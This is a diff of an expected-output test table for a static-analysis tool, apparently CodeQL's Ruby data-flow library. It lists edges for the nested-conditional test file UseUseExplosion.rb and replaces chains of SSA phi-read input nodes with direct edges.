-| UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2036:20:2148 | then ... | UseUseExplosion.rb:20:2021:20:2164 | if ... |
-| UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(self) | UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(x) | UseUseExplosion.rb:20:2036:20:2148 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:2041:20:2148 | if ... | UseUseExplosion.rb:20:2036:20:2148 | then ... |
 | UseUseExplosion.rb:20:2045:20:2049 | @prop | UseUseExplosion.rb:20:2045:20:2053 | ... > ... |
 | UseUseExplosion.rb:20:2045:20:2049 | [post] self | UseUseExplosion.rb:20:2065:20:2069 | self |
@@ -1570,11 +1181,7 @@
 | UseUseExplosion.rb:20:2045:20:2053 | ... > ... | UseUseExplosion.rb:20:2044:20:2054 | [false] ( ... ) |
 | UseUseExplosion.rb:20:2045:20:2053 | ... > ... | UseUseExplosion.rb:20:2044:20:2054 | [true] ( ... ) |
 | UseUseExplosion.rb:20:2053:20:2053 | 3 | UseUseExplosion.rb:20:2045:20:2053 | ... > ... |
-| UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2056:20:2132 | then ... | UseUseExplosion.rb:20:2041:20:2148 | if ... |
-| UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(self) | UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(x) | UseUseExplosion.rb:20:2056:20:2132 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:2061:20:2132 | if ... | UseUseExplosion.rb:20:2056:20:2132 | then ... |
 | UseUseExplosion.rb:20:2065:20:2069 | @prop | UseUseExplosion.rb:20:2065:20:2073 | ... > ... |
 | UseUseExplosion.rb:20:2065:20:2069 | [post] self | UseUseExplosion.rb:20:2085:20:2089 | self |
@@ -1584,11 +1191,7 @@
 | UseUseExplosion.rb:20:2065:20:2073 | ... > ... | UseUseExplosion.rb:20:2064:20:2074 | [false] ( ... ) |
 | UseUseExplosion.rb:20:2065:20:2073 | ... > ... | UseUseExplosion.rb:20:2064:20:2074 | [true] ( ... ) |
 | UseUseExplosion.rb:20:2073:20:2073 | 2 | UseUseExplosion.rb:20:2065:20:2073 | ... > ... |
-| UseUseExplosion.rb:20:2076:20:2116 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2076:20:2116 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2076:20:2116 | then ... | UseUseExplosion.rb:20:2061:20:2132 | if ... |
-| UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(self) | UseUseExplosion.rb:20:2076:20:2116 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(x) | UseUseExplosion.rb:20:2076:20:2116 | [input] SSA phi read(x) |
 | UseUseExplosion.rb:20:2081:20:2116 | if ... | UseUseExplosion.rb:20:2076:20:2116 | then ... |
 | UseUseExplosion.rb:20:2085:20:2089 | @prop | UseUseExplosion.rb:20:2085:20:2093 | ... > ... |
 | UseUseExplosion.rb:20:2085:20:2089 | [post] self | UseUseExplosion.rb:20:2096:20:2099 | [input] SSA phi read(self) |
@@ -1598,709 +1201,509 @@
 | UseUseExplosion.rb:20:2085:20:2093 | ... > ... | UseUseExplosion.rb:20:2084:20:2094 | [false] ( ... ) |
 | UseUseExplosion.rb:20:2085:20:2093 | ... > ... | UseUseExplosion.rb:20:2084:20:2094 | [true] ( ... ) |
 | UseUseExplosion.rb:20:2093:20:2093 | 1 | UseUseExplosion.rb:20:2085:20:2093 | ... > ... |
-| UseUseExplosion.rb:20:2096:20:2099 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2096:20:2099 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2096:20:2099 | [input] SSA phi read(self) | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2096:20:2099 | [input] SSA phi read(x) | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2096:20:2099 | then ... | UseUseExplosion.rb:20:2081:20:2116 | if ... |
-| UseUseExplosion.rb:20:2102:20:2112 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2102:20:2112 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2081:20:2116 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2102:20:2112 | else ... | UseUseExplosion.rb:20:2081:20:2116 | if ... |
-| UseUseExplosion.rb:20:2107:20:2112 | [post] self | UseUseExplosion.rb:20:2102:20:2112 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2107:20:2112 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2107:20:2112 | call to use | UseUseExplosion.rb:20:2102:20:2112 | else ... |
-| UseUseExplosion.rb:20:2107:20:2112 | self | UseUseExplosion.rb:20:2102:20:2112 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2111:20:2111 | x | UseUseExplosion.rb:20:2102:20:2112 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2118:20:2128 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2118:20:2128 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2061:20:2132 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2107:20:2112 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2111:20:2111 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2118:20:2128 | else ... | UseUseExplosion.rb:20:2061:20:2132 | if ... |
-| UseUseExplosion.rb:20:2123:20:2128 | [post] self | UseUseExplosion.rb:20:2118:20:2128 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2123:20:2128 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2123:20:2128 | call to use | UseUseExplosion.rb:20:2118:20:2128 | else ... |
-| UseUseExplosion.rb:20:2123:20:2128 | self | UseUseExplosion.rb:20:2118:20:2128 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2127:20:2127 | x | UseUseExplosion.rb:20:2118:20:2128 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2134:20:2144 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2134:20:2144 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2041:20:2148 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2123:20:2128 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2127:20:2127 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2134:20:2144 | else ... | UseUseExplosion.rb:20:2041:20:2148 | if ... |
-| UseUseExplosion.rb:20:2139:20:2144 | [post] self | UseUseExplosion.rb:20:2134:20:2144 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2139:20:2144 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2139:20:2144 | call to use | UseUseExplosion.rb:20:2134:20:2144 | else ... |
-| UseUseExplosion.rb:20:2139:20:2144 | self | UseUseExplosion.rb:20:2134:20:2144 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2143:20:2143 | x | UseUseExplosion.rb:20:2134:20:2144 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2150:20:2160 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2150:20:2160 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2021:20:2164 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2139:20:2144 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2143:20:2143 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2150:20:2160 | else ... | UseUseExplosion.rb:20:2021:20:2164 | if ... |
-| UseUseExplosion.rb:20:2155:20:2160 | [post] self | UseUseExplosion.rb:20:2150:20:2160 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2155:20:2160 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2155:20:2160 | call to use | UseUseExplosion.rb:20:2150:20:2160 | else ... |
-| UseUseExplosion.rb:20:2155:20:2160 | self | UseUseExplosion.rb:20:2150:20:2160 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2159:20:2159 | x | UseUseExplosion.rb:20:2150:20:2160 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2166:20:2176 | [input] SSA phi read(self) | UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2166:20:2176 | [input] SSA phi read(x) | UseUseExplosion.rb:20:2001:20:2180 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2155:20:2160 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2159:20:2159 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2166:20:2176 | else ... | UseUseExplosion.rb:20:2001:20:2180 | if ... |
-| UseUseExplosion.rb:20:2171:20:2176 | [post] self | UseUseExplosion.rb:20:2166:20:2176 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2171:20:2176 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2171:20:2176 | call to use | UseUseExplosion.rb:20:2166:20:2176 | else ... |
-| UseUseExplosion.rb:20:2171:20:2176 | self | UseUseExplosion.rb:20:2166:20:2176 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2175:20:2175 | x | UseUseExplosion.rb:20:2166:20:2176 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2182:20:2192 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2182:20:2192 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1981:20:2196 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2171:20:2176 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2175:20:2175 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2182:20:2192 | else ... | UseUseExplosion.rb:20:1981:20:2196 | if ... |
-| UseUseExplosion.rb:20:2187:20:2192 | [post] self | UseUseExplosion.rb:20:2182:20:2192 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2187:20:2192 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2187:20:2192 | call to use | UseUseExplosion.rb:20:2182:20:2192 | else ... |
-| UseUseExplosion.rb:20:2187:20:2192 | self | UseUseExplosion.rb:20:2182:20:2192 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2191:20:2191 | x | UseUseExplosion.rb:20:2182:20:2192 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2198:20:2208 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2198:20:2208 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1961:20:2212 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2187:20:2192 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2191:20:2191 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2198:20:2208 | else ... | UseUseExplosion.rb:20:1961:20:2212 | if ... |
-| UseUseExplosion.rb:20:2203:20:2208 | [post] self | UseUseExplosion.rb:20:2198:20:2208 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2203:20:2208 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2203:20:2208 | call to use | UseUseExplosion.rb:20:2198:20:2208 | else ... |
-| UseUseExplosion.rb:20:2203:20:2208 | self | UseUseExplosion.rb:20:2198:20:2208 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2207:20:2207 | x | UseUseExplosion.rb:20:2198:20:2208 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2214:20:2224 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2214:20:2224 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1941:20:2228 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2203:20:2208 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2207:20:2207 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2214:20:2224 | else ... | UseUseExplosion.rb:20:1941:20:2228 | if ... |
-| UseUseExplosion.rb:20:2219:20:2224 | [post] self | UseUseExplosion.rb:20:2214:20:2224 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2219:20:2224 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2219:20:2224 | call to use | UseUseExplosion.rb:20:2214:20:2224 | else ... |
-| UseUseExplosion.rb:20:2219:20:2224 | self | UseUseExplosion.rb:20:2214:20:2224 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2223:20:2223 | x | UseUseExplosion.rb:20:2214:20:2224 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2230:20:2240 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2230:20:2240 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1921:20:2244 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2219:20:2224 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2223:20:2223 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2230:20:2240 | else ... | UseUseExplosion.rb:20:1921:20:2244 | if ... |
-| UseUseExplosion.rb:20:2235:20:2240 | [post] self | UseUseExplosion.rb:20:2230:20:2240 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2235:20:2240 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2235:20:2240 | call to use | UseUseExplosion.rb:20:2230:20:2240 | else ... |
-| UseUseExplosion.rb:20:2235:20:2240 | self | UseUseExplosion.rb:20:2230:20:2240 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2239:20:2239 | x | UseUseExplosion.rb:20:2230:20:2240 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2246:20:2256 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2246:20:2256 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1900:20:2260 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2235:20:2240 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2239:20:2239 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2246:20:2256 | else ... | UseUseExplosion.rb:20:1900:20:2260 | if ... |
-| UseUseExplosion.rb:20:2251:20:2256 | [post] self | UseUseExplosion.rb:20:2246:20:2256 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2251:20:2256 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2251:20:2256 | call to use | UseUseExplosion.rb:20:2246:20:2256 | else ... |
-| UseUseExplosion.rb:20:2251:20:2256 | self | UseUseExplosion.rb:20:2246:20:2256 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2255:20:2255 | x | UseUseExplosion.rb:20:2246:20:2256 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2262:20:2272 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2262:20:2272 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1879:20:2276 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2251:20:2256 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2255:20:2255 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2262:20:2272 | else ... | UseUseExplosion.rb:20:1879:20:2276 | if ... |
-| UseUseExplosion.rb:20:2267:20:2272 | [post] self | UseUseExplosion.rb:20:2262:20:2272 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2267:20:2272 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2267:20:2272 | call to use | UseUseExplosion.rb:20:2262:20:2272 | else ... |
-| UseUseExplosion.rb:20:2267:20:2272 | self | UseUseExplosion.rb:20:2262:20:2272 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2271:20:2271 | x | UseUseExplosion.rb:20:2262:20:2272 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2278:20:2288 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2278:20:2288 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1858:20:2292 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2267:20:2272 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2271:20:2271 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2278:20:2288 | else ... | UseUseExplosion.rb:20:1858:20:2292 | if ... |
-| UseUseExplosion.rb:20:2283:20:2288 | [post] self | UseUseExplosion.rb:20:2278:20:2288 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2283:20:2288 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2283:20:2288 | call to use | UseUseExplosion.rb:20:2278:20:2288 | else ... |
-| UseUseExplosion.rb:20:2283:20:2288 | self | UseUseExplosion.rb:20:2278:20:2288 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2287:20:2287 | x | UseUseExplosion.rb:20:2278:20:2288 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2294:20:2304 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2294:20:2304 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1837:20:2308 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2283:20:2288 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2287:20:2287 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2294:20:2304 | else ... | UseUseExplosion.rb:20:1837:20:2308 | if ... |
-| UseUseExplosion.rb:20:2299:20:2304 | [post] self | UseUseExplosion.rb:20:2294:20:2304 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2299:20:2304 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2299:20:2304 | call to use | UseUseExplosion.rb:20:2294:20:2304 | else ... |
-| UseUseExplosion.rb:20:2299:20:2304 | self | UseUseExplosion.rb:20:2294:20:2304 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2303:20:2303 | x | UseUseExplosion.rb:20:2294:20:2304 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2310:20:2320 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2310:20:2320 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1816:20:2324 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2299:20:2304 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2303:20:2303 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2310:20:2320 | else ... | UseUseExplosion.rb:20:1816:20:2324 | if ... |
-| UseUseExplosion.rb:20:2315:20:2320 | [post] self | UseUseExplosion.rb:20:2310:20:2320 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2315:20:2320 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2315:20:2320 | call to use | UseUseExplosion.rb:20:2310:20:2320 | else ... |
-| UseUseExplosion.rb:20:2315:20:2320 | self | UseUseExplosion.rb:20:2310:20:2320 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2319:20:2319 | x | UseUseExplosion.rb:20:2310:20:2320 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2326:20:2336 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2326:20:2336 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1795:20:2340 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2315:20:2320 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2319:20:2319 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2326:20:2336 | else ... | UseUseExplosion.rb:20:1795:20:2340 | if ... |
-| UseUseExplosion.rb:20:2331:20:2336 | [post] self | UseUseExplosion.rb:20:2326:20:2336 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2331:20:2336 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2331:20:2336 | call to use | UseUseExplosion.rb:20:2326:20:2336 | else ... |
-| UseUseExplosion.rb:20:2331:20:2336 | self | UseUseExplosion.rb:20:2326:20:2336 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2335:20:2335 | x | UseUseExplosion.rb:20:2326:20:2336 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2342:20:2352 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2342:20:2352 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1774:20:2356 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2331:20:2336 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2335:20:2335 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2342:20:2352 | else ... | UseUseExplosion.rb:20:1774:20:2356 | if ... |
-| UseUseExplosion.rb:20:2347:20:2352 | [post] self | UseUseExplosion.rb:20:2342:20:2352 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2347:20:2352 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2347:20:2352 | call to use | UseUseExplosion.rb:20:2342:20:2352 | else ... |
-| UseUseExplosion.rb:20:2347:20:2352 | self | UseUseExplosion.rb:20:2342:20:2352 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2351:20:2351 | x | UseUseExplosion.rb:20:2342:20:2352 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2358:20:2368 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2358:20:2368 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1753:20:2372 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2347:20:2352 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2351:20:2351 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2358:20:2368 | else ... | UseUseExplosion.rb:20:1753:20:2372 | if ... |
-| UseUseExplosion.rb:20:2363:20:2368 | [post] self | UseUseExplosion.rb:20:2358:20:2368 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2363:20:2368 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2363:20:2368 | call to use | UseUseExplosion.rb:20:2358:20:2368 | else ... |
-| UseUseExplosion.rb:20:2363:20:2368 | self | UseUseExplosion.rb:20:2358:20:2368 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2367:20:2367 | x | UseUseExplosion.rb:20:2358:20:2368 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2374:20:2384 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2374:20:2384 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1732:20:2388 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2363:20:2368 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2367:20:2367 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2374:20:2384 | else ... | UseUseExplosion.rb:20:1732:20:2388 | if ... |
-| UseUseExplosion.rb:20:2379:20:2384 | [post] self | UseUseExplosion.rb:20:2374:20:2384 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2379:20:2384 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2379:20:2384 | call to use | UseUseExplosion.rb:20:2374:20:2384 | else ... |
-| UseUseExplosion.rb:20:2379:20:2384 | self | UseUseExplosion.rb:20:2374:20:2384 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2383:20:2383 | x | UseUseExplosion.rb:20:2374:20:2384 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2390:20:2400 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2390:20:2400 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1711:20:2404 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2379:20:2384 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2383:20:2383 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2390:20:2400 | else ... | UseUseExplosion.rb:20:1711:20:2404 | if ... |
-| UseUseExplosion.rb:20:2395:20:2400 | [post] self | UseUseExplosion.rb:20:2390:20:2400 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2395:20:2400 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2395:20:2400 | call to use | UseUseExplosion.rb:20:2390:20:2400 | else ... |
-| UseUseExplosion.rb:20:2395:20:2400 | self | UseUseExplosion.rb:20:2390:20:2400 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2399:20:2399 | x | UseUseExplosion.rb:20:2390:20:2400 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2406:20:2416 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1690:20:2420 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2406:20:2416 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1690:20:2420 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2395:20:2400 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2399:20:2399 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
 | UseUseExplosion.rb:20:2406:20:2416 | else ... | UseUseExplosion.rb:20:1690:20:2420 | if ... |
-| UseUseExplosion.rb:20:2411:20:2416 | [post] self | UseUseExplosion.rb:20:2406:20:2416 | [input] SSA phi read(self) |
+| UseUseExplosion.rb:20:2411:20:2416 | [post] self | UseUseExplosion.rb:21:13:21:17 | self |
 | UseUseExplosion.rb:20:2411:20:2416 | call to use | UseUseExplosion.rb:20:2406:20:2416 | else ... |
-| UseUseExplosion.rb:20:2411:20:2416 | self | UseUseExplosion.rb:20:2406:20:2416 | [input] SSA phi read(self) |
-| UseUseExplosion.rb:20:2415:20:2415 | x | UseUseExplosion.rb:20:2406:20:2416 | [input] SSA phi read(x) |
-| UseUseExplosion.rb:20:2422:20:2432 | [input] SSA phi read(self) | UseUseExplosion.rb:20:1669:20:2436 | SSA phi read(self) |
-| UseUseExplosion.rb:20:2422:20:2432 | [input] SSA phi read(x) | UseUseExplosion.rb:20:1669:20:2436 | SSA phi read(x) |
+| UseUseExplosion.rb:20:2411:20:2416 | self | UseUseExplosion.rb:21:13:21:17 | self |
+| UseUseExplosion.rb:20:2415:20:2415 | x | UseUseExplosion.rb:20:9:20:3700 | SSA phi read(x) |
